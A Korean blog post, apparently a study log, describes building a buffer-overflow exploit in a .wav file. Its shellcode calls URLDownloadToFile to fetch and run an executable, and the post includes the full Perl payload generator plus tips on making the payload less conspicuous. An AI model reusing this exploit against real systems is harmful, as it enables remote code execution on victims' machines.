Thursday, January 17, 2019

ShellCode로 Downloader 실행

ShellCode로 

 DownLoader만들기

   직접 ShellCode 만드는건 비효율적임

Downloader 

: 실행파일 다운 + 실행파일 실행


1. 실행파일 실행

  • system()-c표준함수
  • WinExec()-옛날함수라 어플리케이션보다 악성코드에 사용
  • CreateProcess()-인자가 너무 많아 들킬 확률이 높음

2. 실행파일 다운

  API - socket은 저수준, Windows에 내장된 함수를 사용해야함

  • URLDownloaderToFile을 이용하여 다운로드



  •  URLDowloadToFile이 되는 부분
 PUSH-CALL-JUMP로 이동되면서 함수가 시작됨



  • 004020B0 가 JMP 되는 주소
그 주소를 찾아가면 7F6EBC8B가 함수가 시작되면서 이동되어지는 주소


  • 이 주소를 exploit 만드는 곳에  RETN값 으로 대입

일단 이렇게 만들어봄 (URLDownloadToFile함수를 기반으로 해서 만듬)


  • 빌드하고 실행
http인데 ptth로 입력됨..



  •  다 거꾸로 적어주기



  •  URL주소는 성공



  •  파일이름도 성공
    • pl->wav로 바꾼뒤 tip방법으로 실행

잘 들어옴
근데 인자값이 너무 커져서 눈에 띔




  • 눈에 띄지 않게 인자값을 줄이기
    • PERL을 이용해 인자값대신 Payload에 변수를 넣기

# PAYLOAD
$file = "PERL로 변환될 파일이름"
$dummy = "exe의 크기에 딱 맞는 dummy수 =[url+name+dummy] "
  $url     = "url주소 (문자열, 16진수 가능)"
  $name = "url로 다운받아질 파일의 이름"
$ret = "retn주소"
$shell = "retn주소에서 실행될 함수의 기계어"


    • payload에 넣을 shell값 구하기
[ SHELL 값의 함수를 어셈블리어로 만듬 ]
이때, ESP의 값은 dummy의 값 4128=0x1020,
JMP ESP의 값이 4bytes이므로 1024부터 EAX 의 함수시작주소(url)
그리고 url이 44bytes=0x2C,


[ 기계어로 뽑아내기 ]


    • $url, $name을 16진수로



  •  만들 payload를 HxD로 보면



  •  TIP방법 실시

[ Attach를 열었을 때]


[ RUN ]


성공


  • CC값을 넣어 URLDownloadeToFile가 진행되는 과정

[ INTERRUPT 3 ]


[ 기계어추출 ]


 # Fuzzer2
my $file= "Payload3.wav";
my $dummy = "\x41" x (4128-44-18);
my $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x70\x2E\x67\x6F\x6D\x74\x76\x2E\x63\x6F\x6D\x2F\x67\x6F\x6D\x2F\x47\x4F\x4D\x50\x4C\x41\x59\x45\x52\x53\x45\x54\x55\x50\x2E\x45\x58\x45\x00"; #44byte w/ null
my $name ="\x43\x3A\x5C\x5C\x67\x6F\x6D\x5F\x53\x65\x74\x75\x70\x2E\x65\x78\x65\x00"; #18byte w/ null
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\x8D\x84\x24\xDC\xEF\xFF\xFF\x36\x8D\x9C\x24\x08\xF0\xFF\xFF\xCC\x6A\x00\x6A\x00\x53\x50\x6A\x00\xBE\x8B\xBC\x6E\x7E\xFF\xD6";
open($fd,">$file");
print $fd $url.$name.$dummy.$ret.$shell;
close($fd);


  • TIP과정 실시 

INT 3(cc값) 에서 걸림


  • F8로 진행하면 프로세스가 중단되어서 F9로 실행

성공


2019-01-16

No comments:

Post a Comment

List

MobSF

MobSF는 오픈소스 모바일 앱 자동 보안 진단 프레임워크로 자동 분석 시스템 구축할 때 사용한다. 정정 및 동적 분석이 가능하며, Android, iOS, Windows에 대해 침투 테스트, 멀웨어 분석 및 보안 평가를 할 수 있다. 참고자료 필...